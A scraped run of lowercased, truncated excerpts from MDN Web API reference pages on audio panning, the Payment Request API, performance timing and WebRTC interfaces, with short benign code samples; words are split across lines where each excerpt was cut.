reviously rendered and saved imagebitmap from the offscreencanvas, will display the imagebitmap on the canvas and transfer its ownership to the canvas. a single offscreencanvas may transfer frames into an arbitrary number of other imagebitmaprenderingcontext objects. given these two <canvas> elements <canvas id="one"></canvas> <canvas id="two"></canvas> the following code will provide the renderin...
PannerNode.refDistance - Web APIs
r.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay immediately and fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower and later than the p
revious one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late scheduletesttone(7, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'refdistance...
PannerNode - Web APIs
nnernode.setposition() defines the position of the audio source relative to the listener (represented by an audiolistener object stored in the audiocontext.listener attribute.) pannernode.setorientation() defines the direction the audio source is playing in. pannernode.setvelocity() defines the velocity vector of the audio source — how fast it is moving and in what direction. in a p
revious version of the specification, the pannernode had a velocity that could pitch up or down audiobuffersourcenodes connected downstream. this feature was not clearly specified and had a number of issues, so it was removed from the specification. examples in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control aud...
PasswordCredential.additionalData - Web APIs
wordcredential.additionaldata = urlsearchparams ulrsearchparams = passwordcredential.additionaldata value one of a formdata instance, a urlsearchparams instance, or null. example the following example creates a formdata object with an appended csrf token. it then stores the form object in the additionaldata parameter, before sending it to server in a call to fetch. //the options object was p
reviously created. navigator.credentials.get(options).then(function(creds) { if (creds.type == 'password') { var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications...
Path2D - Web APIs
. path2d.quadraticcurveto() adds a quadratic bézier curve to the current path. path2d.arc() adds an arc to the path which is centered at (x, y) position with radius r starting at startangle and ending at endangle going in the given direction by anticlockwise (defaulting to clockwise). path2d.arcto() adds a circular arc to the path with the given control points and radius, connected to the p
revious point by a straight line. path2d.ellipse() adds an elliptical arc to the path which is centered at (x, y) position with the radii radiusx and radiusy starting at startangle and ending at endangle going in the given direction by anticlockwise (defaulting to clockwise). path2d.rect() creates a path for a rectangle at position (x, y) with a size that is determined by width and height. spec...
PaymentRequest.shippingAddress - Web APIs
uestshipping to true when calling the paymentrequest constructor. in the example below, the cost of shipping varies by geography. when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost. // initialization of paymentrequest arguments are excerpted for the sake of // b
revity. var payment = new paymentrequest(supportedinstruments, details, options); payment.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for b
revity. }).catch(function(err) {...
PaymentRequest: shippingaddresschange event - Web APIs
cancelable no interface paymentrequestupdateevent event handler property onshippingaddresschange usage notes depending on the browser, the shipping address information may be redacted for privacy reasons. that is, the paymentaddress which contains the shipping address may have some portions of its content altered, obscured, or left out entirely in order to p
revent identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address). example in this example, a handler for the shippingaddresschange event is set up to validate that the address meets requirements set by the web application. const paymentrequest = new paymentrequest(methoddata, details, options); paymentrequest.addeventlistener("s...
PaymentRequest: shippingoptionchange event - Web APIs
tlistener("shippingoptionchange", event => { const value = calculatenewtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }, false); after caling a custom function, calculatenewtotal(), to compute the updated total based on the newly-selected shipping option as specified by the shippingoption. the
revised total is submitted back to the payment request by calling the event's updatewith() method. you can also create an event handler for shippingoptionchange using its corresponding event handler property, onshippingoptionchange: paymentrequest.onshippingoptionchange = event => { const value = calculatenewtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "...
PaymentRequestEvent.respondWith() - Web APIs
syntax paymentrequestevent.respondwith( // promise that resolves with a paymentresponse. ) parameters promise a promise that resolves with a paymentresponse object. return value a paymentresponse object. ...
PaymentRequestEvent - Web APIs
inread only returns the top-level origin where the paymentrequest object was initialized. totalread only returns the total amount being requested for payment. methods openwindow() opens the specified url in a new window, if and only if the given url is on the same origin as the calling page. it returns a promise that resolves with a reference to a windowclient. respondwith() p
revents the default event handling and allows you to provide a promise for a paymentresponse object yourself. specifications specification status comment payment handler apithe definition of 'paymentrequestevent' in that specification. working draft initial definition. ...
PaymentResponse.complete() - Web APIs
d while a request to retry the payment is pending. you can't treat a payment as complete after requesting that the payment be tried again. examples the following example sends payment information to a secure server using the fetch api. it calls complete() with an answer appropriate to the status in the response. // initialization of paymentrequest arguments are excerpted for the // sake of b
revity. var payment = new paymentrequest(supportedinstruments, details, options); payment.show().then(function(paymentresponse) { var fetchoptions = { method: 'post', credentials: include, body: json.stringify(paymentresponse) }; var serverpaymentrequest = new request('secure/payment/endpoint'); fetch(serverpaymentrequest, fetchoptions).then( response => { if (response.status...
PaymentResponse.shippingAddress - Web APIs
aymentoptions.requestshipping to true when calling the paymentrequest constructor. in the example below, the cost of shipping varies by geography. when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost. // initialization of paymentrequest arguments are excerpted for b
revity. var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of b
revity. }).catch(func...
PaymentResponse.shippingOption - Web APIs
ption is set to true in the paymentoptions object passed to the paymentrequest constructor. syntax var shippingoption = paymentrequest.shippingoption; example in the example below, the paymentrequest.onshippingaoptionchange event is called. it calls updatedetails() to toggle the shipping method between "standard" and "express". // initialization of paymentrequest arguments are excerpted for b
revity. var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingoptionchange', function(evt) { evt.updatewith(new promise(function(resolve, reject) { updatedetails(details, request.shippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of b
revity. ...
PaymentResponse - Web APIs
only be called after the promise returned by the paymentrequest.show() method. events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface. payerdetailchange secure context fired during a retry when the user makes changes to their personal information while filling out a payment request form. allows the developer to
revalidate any requested user data (e.g., the phone number or the email address) if it changes. also available via the onpayerdetailchange property. specifications specification status comment payment request apithe definition of 'paymentresponse' in that specification. candidate recommendation initial definition. ...
performance.now() - Web APIs
e cross-origin-opener-policy and cross-origin-embedder-policy headers: cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp these headers ensure a top-level document does not share a browsing context group with cross-origin documents. coop process-isolates your document and potential attackers can't access to your global object if they were opening it in a popup, p
reventing a set of cross-origin attacks dubbed xs-leaks. specifications specification status comment high resolution time level 2the definition of 'performance.now()' in that specification. recommendation stricter definitions of interfaces and types. high resolution timethe definition of 'performance.now()' in that specification. recommendation initial d...
PerformanceNavigationTiming - Web APIs
ation caches, or from local resources or from the server. performancenavigationtiming.type read only a string representing the navigation type. must be: "navigate", "reload", "back_forward" or "prerender". performancenavigationtiming.unloadeventend read only a domhighrestimestamp representing the time value equal to the time immediately after the user agent finishes the unload event of the p
revious document. performancenavigationtiming.unloadeventstart read only a domhighrestimestamp representing the time value equal to the time immediately before the user agent starts the unload event of the p
revious document. methods performancenavigationtiming.tojson() returns a domstring that is the json representation of the performancenavigationtiming object. specifications sp...
PerformanceTiming.navigationStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.navigationstart read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after the prompt for unload terminates on the p
revious document in the same browsing context. if there is no p
revious document, this value will be the same as performancetiming.fetchstart. syntax time = performancetiming.navigationstart; specifications specification status comment navigation timingthe definition of 'performancetiming.navigationstart' in that specification. recommendation initial definition. ...
PerformanceTiming.unloadEventEnd - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.unloadeventend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the unload event handler finishes. if there is no p
revious document, or if the p
revious document, or one of the needed redirects, is not of the same origin, the value returned is 0. syntax time = performancetiming.unloadeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventend' in that specification. recommendation initial definition. ...
PerformanceTiming.unloadEventStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.unloadeventstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the unload event has been thrown. if there is no p
revious document, or if the p
revious document, or one of the needed redirects, is not of the same origin, the value returned is 0. syntax time = performancetiming.unloadeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventstart' in that specification. recommendation initial definition. ...
Permissions API - Web APIs
n the example live, or view the source code on github. read more about how it works in our article using the permissions api. interfaces navigator.permissions and workernavigator.permissions read only provides access to the permissions object from the main context and worker context respectively. permissions provides the core permission api functionality, such as methods for querying and
revoking permissions. permissionstatus provides access to the current status of a permission, and an event handler to respond to changes in permission status. specification specification status comment permissions working draft initial definition. ...
Multi-touch interaction - Web APIs
ts. function pointerup_handler(ev) { if (logevents) log(ev.type, ev); // remove this touch point from the cache and reset the target's // background and border remove_event(ev); update_background(ev); ev.target.style.border = "1px solid black"; } application ui the application uses <div> elements for the touch areas and provides buttons to enable logging and to clear the log. to p
revent the browser's default touch behavior from overriding this application's pointer handling, the touch-action property is applied to the <body> element. <body onload="init();" style="touch-action:none"> <div id="target1"> tap, hold or swipe me 1</div> <div id="target2"> tap, hold or swipe me 2</div> <div id="target3"> tap, hold or swipe me 3</div> <!-- ui for logging/debugging --> <button ...
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
excludecredentials, an optional property of the publickeycredentialcreationoptions dictionary, is an array whose elements are descriptors for the public keys already existing for a given user. this is provided by the relying party's server if it wants to p
revent creation of new credentials for an existing user. syntax excludecredentials = publickeycredentialcreationoptions.excludecredentials value an array whose elements are objects with the following properties: type a string describing type of public-key credential to be created. as of this writing (march 2019), only "public-key" may be used. id a buffersource matching an existing public key credential identifier (publickeycredential.rawid). this identifier is generated during the creation of the publickeycredential ins...
PublicKeyCredentialCreationOptions.extensions - Web APIs
client outputs an array of strings containing the extensions which are supported by the authenticator. uvi boolean user verification index. if true, the client outputs an arraybuffer which contains a value uniquely identifying a user verification data record. in other words, this may be used server side to check if the current operation is based on the same biometric data that the p
revious authentication. loc boolean location. if true, the client outputs a coordinates object representing the geolocation of the authenticator. uvm boolean user verification method. if true, the client outputs an array of arrays with 3 values containing information about how the user was verified (e.g. fingerprint, pin, pattern), how the key is protected, how the match...
PublicKeyCredentialRequestOptions.extensions - Web APIs
of the content which was displayed (hashing with the same algorithm which is used for the signature). uvi boolean user verification index. if true, the client outputs an arraybuffer which contains a value uniquely identifying a user verification data record. in other words, this may be used server side to check if the current operation is based on the same biometric data that the p
revious authentication. loc boolean location. if true, the client outputs a coordinates object representing the geolocation of the authenticator. uvm boolean user verification method. if true, the client outputs an array of arrays with 3 values containing information about how the user was verified (e.g. fingerprint, pin, pattern), how the key is protected, how the match...
PushManager - Web APIs
the pushmanager interface of the push api provides a way to receive notifications from third-party servers as well as request urls for push notifications. this interface is accessed via the serviceworkerregistration.pushmanager property. note: this interface replaces functionality p
reviously offered by the obsolete pushregistrationmanager interface. properties pushmanager.supportedcontentencodings returns an array of supported content codings that can be used to encrypt the payload of a push message. methods pushmanager.getsubscription() retrieves an existing push subscription. it returns a promise that resolves to a pushsubscription object containing details of an existing subscription. if no existing subscription exists, this resolves to a null value. pushmanager.permissi...
Web Push API Notifications best practices - Web APIs
er mitigations because of abuses of push notifications in the past, web browser developers have begun to implement strategies to help mitigate this problem. for example, safari 12.1 now requires—and other browsers either already do, or are planning[1] to do so—that the user interact with the page in some way before the page can request permission to perform push notifications. this at least p
revents the user from getting spontaneously asked this question on web pages thaty've only glanced at once may rarely if ever look at again. [1] in the case of firefox, see bug 1524619, in which we find that firefox 68 implements this, disabled by default, behind the preference dom.webnotifications.requireuserinteraction. ...
Push API - Web APIs
n a user agent. this lets developers deliver asynchronous notifications and updates to users that opt in, resulting in better engagement with timely new content. push concepts and usage when implementing pushmanager subscriptions, it is vitally important that you protect against csrf/xsrf issues in your app. see the following articles for more information: cross-site request forgery (csrf) p
revention cheat sheet p
reventing csrf and xsrf attacks for an app to receive push messages, it has to have an active service worker. when the service worker is active, it can subscribe to push notifications, using pushmanager.subscribe(). the resulting pushsubscription includes all the information that the application needs to send a push message: an endpoint and the encryption key needed for se...
RTCConfiguration.iceTransportPolicy - Web APIs
e browser itself—may still perform some form of ip filtering on the incoming candidates for reasons including privacy and security, as well as to simply limit the number of candidates. this is the default. relay the ice agent only considers media relay candidates when evaluating candidates. this includes, for example, those candidates relayed by a stun or turn server. this can be used to p
revent the remote endpoint from receiving the user's ip addresses, which may be important in some security situations. for example, in a video calling application, the app may want to p
revent unknown callers from learning the callee's ip addresses until the callee has agreed to receive the call. examples in this example, a new connection is configured to only accept relay candidates. let config...
RTCDTMFSender.insertDTMF() - Web APIs
ts sending dtmf tones to the remote peer over the rtcpeerconnection. sending of the tones is performed asynchronously, with tonechange events sent to the rtcdtmfsender every time a tone starts or ends. as long as the connection is active, you can send tones at any time. calling insertdtmf() will append the specified tones to the end of the current tone buffer, so that those tones play after the p
reviously-enqueued tones. syntax rtcdtmfsender.insertdtmf(tones[, duration[, intertonegap]]); parameters tones a domstring containing the dtmf codes to be transmitted to the recipient. specifying an empty string as the tones parameter clears the tone buffer, aborting any currently queued tones. a "," character inserts a two second delay. duration optional the amount of time, in milliseconds...
RTCDTMFSender: tonechange event - Web APIs
bubbles no cancelable no interface rtcdtmftonechangeevent event handler property ontonechange to determine what tone started playing, or if a tone stopped playing, check the value of the event's tone property. examples this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". ...
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
event = new rtcdtmftonechangeevent(type, options); parameters type a domstring containing the name of the event. this is always "tonechange". options a dictionary of type rtcdtmftonechangeeventinit, which may contain one or more of the following fields: tone a domstring containing a single dtmf tone character which has just begun to play, or an empty string ("") to indicate that the p
revious tone has stopped playing. see tone characters for details on what characters are permitted. return value a newly-created rtcdtmftonechangeevent, configured as specified in the provided options. tone characters the digits 0-9 these characters represent the digit keys on a telephone keypad. the letters a-d these characters represent the "a" through "d" keys which are part of the d...
RTCDataChannel: error event - Web APIs
a webrtc error event is sent to an rtcdatachannel object's onerror error handler when an error occurs on the data channel. bubbles yes cancelable no interface rtcerro
revent event handler property onerror the rtcerro
revent object provides details about the error that occurred; see that article for details. examples // strings for each of the sctp cause codes found in rfc // 4960, section 3.3.10: // https://tools.ietf.org/html/rfc4960#section-3.3.10 const sctpcausecodes = [ "no sctp error", "invalid stream identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unr...
RTCDataChannel.readyState - Web APIs
can be transferred bidirectionally across it. this is the default state of a new rtcdatachannel created by the webrtc layer when the remote peer created the channel and delivered to the site or app in a datachannel event of type rtcdatachannelevent. "closing" the process of closing the underlying data transport has begun. it is no longer possible to queue new messages to be sent, but p
reviously queued messages may still be send or received before entering the "closed" state. "closed" the underlying data transport has closed, or the attempt to make the connection failed. example var datachannel = peerconnection.createdatachannel("file transfer"); var sendqueue = []; function sendmessage(msg) { switch(datachannel.readystate) { case "connecting": cons...
RTCDataChannel - Web APIs
closed, that is, rtcdatachannel transitions to "closing" state. for example, after rtcdatachannel.close() was called but the underlying data transport might not have been closed yet.onerror the rtcdatachannel.onerror property is an eventhandler which specifies a function to be called when the error event is received. when an error occurs on the data channel, the function receives as input an erro
revent object describing the error which occurred.onmessage the rtcdatachannel.onmessage property stores an eventhandler which specifies a function to be called when the message event is fired on the channel. this event is represented by the messageevent interface. this event is sent to the channel when a message is received from the other peer.onopen the rtcdatachannel.onopen property is an eventh...
RTCIceCandidate.address - Web APIs
cicecandidate can expose more information about the source of the remote peer than the user expects. the ip address can be used to derive information about the remote device's location, network topology, and so forth. it can also be used for fingerprinting purposes. the candidate ip addresses are always exposed to the application through address, and unsavory applications can in turn potentially
reveal the address to the user. this can occur without the remote peer's consent. applications being built with user privacy and security in mind can choose to limit the permitted candidates to relay candidates only. doing so p
revents the remote user's address from being exposed, but reduces the pool of available candidates to choose from. to do this, configure the ice agent's ice transport policy u...
RTCIceCandidate.priority - Web APIs
s consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the priority is the number after the protocol, so it's the fourth field in the candidate string. in this example, the priority is 2043278322. example this candidate examines the priority of the candidate and, if it's greater than the priority of a p
reviously-seen candidate, remembers the candidate for later use. var bestcandidate = { candidate: "", sdpmid: null, sdpmlineindex: null, priority: 0 }; function handlecandidate(candidatestring) { var candidate = new rtcicecandidate(candidatestring); if (candidate.priority > bestcandidate.priority) { bestcandidate = candidate; } } specifications specification status...
RTCIceCandidateStats.address - Web APIs
ddress is presumed to be a fully-qualified domain name, which is resolved first using an aaaa record (assuming ipv6 is available), then using an a record (if no result is found or the device onlu supports ipv4). if multiple ip addresses are returned in response to the query, the user agent selects one, which is then used for the duration of ice processing. usage notes the address property was p
reviously known as ip, and only permitted ipv4 and ipv6 addresses to be used. the addition of support for fully-qualified domain names to be used for the address brought about the renaming of the property. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.address' in that specification. candidate...
RTCIceCandidateStats - Web APIs
pi's rtcicecandidatestats dictionary provides statistics related to an rtcicecandidate. properties rtcicecandidatestats is based upon the rtcstats dictionary, so it includes those properties in addition to the ones below. address optional a string containing the address of the candidate. this value may be an ipv4 address, an ipv6 address, or a fully-qualified domain name. this property was p
reviously named ip and only accepted ip addresses. candidatetype optional a string matching one of the values in the rtcicecandidatetype enumerated type, indicating what kind of candidate the object provides statistics for. deleted optional a boolean value indicating whether or not the candidate has been released or deleted; the default value is false. for local candidates, it's value is true if ...
RTCIceTransport.getSelectedCandidatePair() - Web APIs
ing the requirements for the connection, a selectedcandidatepairchange event is fired at the rtcicetransport. from that time forward, the best matching pair of candidates will always be available by calling getselectedcandidatepair(). as ice negotiation continues, any time a pair of candidates is discovered that is better than the currently-selected pair, the new pair is selected, replacing the p
revious pairing, and the selectedcandidatepairchange event is fired again. note: it's possible for one of the configurations in the selected candidate pair to remain unchanged when a new pairing is chosen. example in this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the currently selected candidate pair. var icet...
RTCIceTransport.state - Web APIs
be underway, and, similarly, the remote device also may still be gathering candidates of its own. "connected" a viable candidate pair has been found and selected, and the rtcicetransport has connected the two peers together using that pair. however, there are still candidates pairings to consider, and there may still be gathering underway on one or both of the two devices. the transport may
revert from the "connected" state to the "checking" state if either peer decides to cancel consent to use the selected candidate pair, and may
revert to "disconnected" if there are no candidates left to check but one or both clients are still gathering candidates. "completed" the transport has finished gathering local candidates and has received a notification from the remote peer that no more ca...
RTCIceTransportState - Web APIs
be underway, and, similarly, the remote device also may still be gathering candidates of its own. "connected" a viable candidate pair has been found and selected, and the rtcicetransport has connected the two peers together using that pair. however, there are still candidates pairings to consider, and there may still be gathering underway on one or both of the two devices. the transport may
revert from the "connected" state to the "checking" state if either peer decides to cancel consent to use the selected candidate pair, and may
revert to "disconnected" if there are no candidates left to check but one or both clients are still gathering candidates. "completed" the transport has finished gathering local candidates and has received a notification from the remote peer that no more ca...
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
is counter may also be incremented when fec packets arrive in-band along with media content; this can happen with opus, for example. usage notes it's possible that a subset of the fec packets which have been received were discarded instead of being used. this can happen if the packets covered by the fec packets have already been received successfully or have already been reconstructed using a p
reviously-received fec packet. this may also happen if the fec packet arrives outside the window of time in which the client will attempt to use it. if you wish to know how many of the received packets were discarded, you can examine the value of fecpacketsdiscarded. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinb...
RTCInboundRtpStreamStats.packetsDuplicated - Web APIs
the packetsduplicated property of the rtcinboundrtpstreamstats dictionary indicates the total number of packets discarded because they were duplicates of p
reviously-received packets. these packets are not counted by the packetsdiscarded property. syntax var packetsduplicated = rtcinboundrtpstreamstats.packetsduplicated; value an integer value which specifies how many duplcate packets have been received by the local end of this rtp stream so far. these duplicate packets are not included in the packetsdiscarded property. usage notes duplicate packets are detected when a packet has the same rtp sequence number as another packet that has p
reviously been processed. each time a packet is repeated, the value of packetsduplicated is incremented, even if the same packet is received more than tw...
RTCPeerConnection.close() - Web APIs
eases any resources in use by the ice agent, including turn permissions. all rtcrtpsender objects are considered to be stopped once this returns (they may still be in the process of stopping, but for all intents and purposes, they're stopped). once this method returns, the signaling state as returned by rtcpeerconnection.signalingstate is closed. make sure that you delete all references to the p
revious rtcpeerconnection before attempting to create a new one that connects to the same remote peer, as not doing so might result in some errors depending on the browser. example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received me...
RTCPeerConnection.getStats() - Web APIs
ontents of the report depend on the selector as well as other details of the connection. exceptions this method does not throw exceptions; instead, it rejects the returned promise with one of the following errors: invalidaccesserror there is no rtcrtpsender or rtcrtpreceiver whose track matches the specified selector, or selector matches more than one sender or receiver. obsolete syntax p
reviously, getstats() used success and failure callbacks to report the results to you, instead of using a promise. this version of getstats() is obsolete; in addition, the data it returns is entirely different from the current specification, and the form of that data was never documented. this form of getstats() has been or will soon be removed from most browsers; you should not use it, and should ...
RTCPeerConnection.iceGatheringState - Web APIs
" the peer connection was just created and hasn't done any networking yet. "gathering" the ice agent is in the process of gathering candidates for the connection. "complete" the ice agent has finished gathering candidates. if something happens that requires collecting new candidates, such as a new interface being added or the addition of a new ice server, the state will
revert to "gathering" to gather those candidates. example var pc = new rtcpeerconnection(); var state = pc.icegatheringstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.icegatheringstate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection: icecandidate event - Web APIs
as completed gathering for a generation of candidates. that this has occurred is indicated by an icecandidate event whose candidate string is empty (""). you should deliver this to the remote peer just like any standard candidate, as described under sharing a new candidate above. this ensures that the remote peer is given the end-of-candidates notification as well. as you see in the code in the p
revious section, every candidate is sent to the other peer, including any that might have an empty candidate string. only candidates for which the event's candidate property is null are not forwarded across the signaling connection. the end-of-candidates indication is described in section 9.3 of the trickle ice draft specification (note that the section number is subject to change as the specificati...
RTCPeerConnection: icecandidateerror event - Web APIs
the webrtc api event icecandidateerror is sent to an rtcpeerconnection if an error occurs while performing ice negotiations through a stun or turn server. the event object is of type rtcpeerconnectioniceerro
revent, and contains information describing the error in some amount of detail. bubbles no cancelable no interface rtcpeerconnectioniceerro
revent event handler property rtcpeerconnection.onicecandidateerror description the error object's errorcode property is one of the numeric stun error codes. there is one additional, webrtc-specific, error which lies outside the valid stun error code range: 701. error 701 indicates that none of the ice candidates were able to successfully make contact with the stun or turn server. the 701 error ...
RTCPeerConnection: idpassertionerror event - Web APIs
an idpassertionerror event informs the target, a rtcpeerconnection object, that the identity provider (idp) encountered an error when trying to generate an identity assertion. an event handler for this event can be added using the rtcpeerconnection.onidpassertionerror property. bubbles no cancelable no interface rtcidentityerro
revent event handler property onidpassertionerror warning: this event is no longer used; instead, you can detect an assertion error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpassertionerror' in that specification. candidate...
RTCPeerConnection: idpvalidationerror event - Web APIs
an idpvalidationerror event informs the target, a rtcpeerconnection object's onidpvalidationerror event handler, that the identity provider (idp) encountered an error while validating an identity assertion. an event handler for this event can be added using the rtcpeerconnection.onidpvalidationerror property. bubbles no cancelable no interface rtcidentityerro
revent event handler property onidpvalidationerror warning: this event is no longer used; instead, you can detect a validation error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpvalidationerror' in...
RTCPeerConnection.onicecandidateerror - Web APIs
dler which specifies a function which is called to handle the icecandidateerror event when it occurs on an rtcpeerconnection instance. this event is fired when an error occurs during the ice candidate gathering process. syntax rtcpeerconnection.onicecandidateerror = eventhandler; value this should be set to a function you provide which is passed a single parameter: an rtcpeerconnectioniceerro
revent object describing the icecandidateerror event. the event offers properties describing the error to help you handle it appropriately. example pc.onicecandidateerror = function(event) { if (event.errorcode >= 300 && event.errorcode <= 699) { // stun errors are in the range 300-699. see rfc 5389, section 15.6 // for a list of codes. turn adds a few more error codes; see // rfc 576...
RTCPeerConnection.setConfiguration() - Web APIs
iguration object which provides the options to be set. the changes are not additive; instead, the new values completely replace the existing ones. exceptions invalidaccesserror one or more of the urls specified in configuration.iceservers is a turn server, but complete login information is not provided (that is, either the rtciceserver.username or rtciceserver.credentials is missing). this p
revents successful login to the server. invalidmodificationerror the configuration includes changed identity information, but the connection already has identity information specified. this happens if configuration.peeridentity or configuration.certificates is set and their values differ from the current configuration. invalidstateerror the rtcpeerconnection is closed. syntaxerror one or more o...
RTCPeerConnection.signalingState - Web APIs
tion.createanswer()) and applied by calling rtcpeerconnection.setlocaldescription(). this provisional answer describes the supported media formats and so forth, but may not have a complete set of ice candidates included. further candidates will be delivered separately later. "have-remote-pranswer" a provisional answer has been received and successfully applied in response to an offer p
reviously sent and established by calling setlocaldescription(). "closed" the connection is closed. note: this value moved into the rtcpeerconnectionstate enum in the may 13, 2016 draft of the specification, as it reflects the state of the rtcpeerconnection, not the signaling connection. you now detect a closed connection by checking for connectionstate to be "closed" ins...
RTCPeerConnection: idpvalidationerror event - Web APIs
an idpvalidationerror event informs the target, a rtcpeerconnection object, that the identity provider (idp) encountered an error when trying to validate an identity assertion. an event handler for this event can be added via the rtcpeerconnection.onidpvalidationerror property. bubbles no cancelable no interface rtcidentityerro
revent event handler property onidpvalidationerror important: this event is no longer used; it was removed from the specification long ago. instead, you should watch for the rtcpeerconnection.peeridentity promise to be rejected with an operationerror. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpvalidationerror' ...
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
hand, we can look up the remote-outbound-rtp record in the starting statistics record (startreport), which we store into startremoteoutbound. now we obtain the inbound-rtp statistics that correspond to these two remote-outbound-rtp records by finding the remoteid property within them whose value is the id of the remote-outbound-rtp record. we use the findreportentry() function described in the p
revious section for that, storing the located inbound-rtp records in startinboundstats and endinboundstats. now we have all the raw statistics needed to calculate the information we want to display, so we do so: we calculate the amount of time—elapsedtime—that elapsed between the two reports being sent by subtracting the timestamp startreport from that of endreport. we then divide by 1000 to ...
RTCRtpSendParameters - Web APIs
parameters for a single codec that could be used to encode the track's media. priority a string from the rtcprioritytype enumerated type which indicates the encoding's priority. the default value is low. transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific p
revious call to getparameters(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsendparameters' in that specification. candidate recommendation initial definition. ...
RTCRtpSender.setParameters() - Web APIs
parameters for a single codec that could be used to encode the track's media. priority a string from the rtcprioritytype enumerated type which indicates the encoding's priority. the default value is low. transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific p
revious call to getparameters(). return value a promise that resolves when the rtcrtpsender.track property is updated with the given parameters. exceptions if an error occurs, the returned promise is rejected with the appropriate exception from the list below. invalidmodificationerror one of the following problems was detected: the number of encodings specified in the parameters objec...
RTCRtpStreamStats.kind - Web APIs
the name was changed in the specification in february, 2018. see browser compatibility below to determine how this affects the browsers you're targeting. ...
RTCRtpStreamStats - Web APIs
codecid a domstring which uniquely identifies the object which was inspected to produce the rtccodecstats object associated with this rtp stream. kind a domstring whose value is "audio" if the associated mediastreamtrack is audio-only or "video" if the track contains video. this value will match that of the media type indicated by rtccodecstats.codec, as well as the track's kind property. p
reviously called mediatype. ssrc the 32-bit integer which identifies the source of the rtp packets this rtcrtpstreamstats object covers. this value is generated per the rfc 3550 specification. trackid a domstring which uniquely identifies the rtcmediastreamtrackstats object representing the associated mediastreamtrack. this is not the same as the value of mediastreamtrack.id. transportid a doms...
RTCRtpTransceiver.setCodecPreferences() - Web APIs
es(codecs) parameters codecs an array of rtcrtpcodeccapability objects, in order of preference, each providing the parameters for one of the transceiver's supported codecs. if codecs is empty, the codec configurations are all returned to the user agent's defaults. note: any codecs not included in codecs will not be considered during the process of negotiating a connection. this lets you p
revent the use of codecs you don't wish to use. return value undefined exceptions invalidaccesserror the codecs list includes one or more codecs which are not supported by the transceiver. usage notes getting a list of supported codecs you can only include in the codecs list codecs which the transceiver actually supports. that means that either the associated rtcrtpsender or the rtcrtpr...
RTCSessionDescription() - Web APIs
n describes the agreed-upon configuration, and is being sent to finalize negotiation. offer the session description object describes the initial proposal in an offer/answer exchange. the session negotiation process begins with an offer being sent from the caller to the callee. pranswer the session description object describes a provisional answer; that is, a response to a p
revious offer that is not the final answer. it is usually employed by legacy hardware. rollback this special type with an empty session description is used to roll back to the p
revious stable state. sdp a string containing a sdp message describing the session. this value is an empty string ("") by default and may not be null. example this example uses the constructor t...
RTCSessionDescription.type - Web APIs
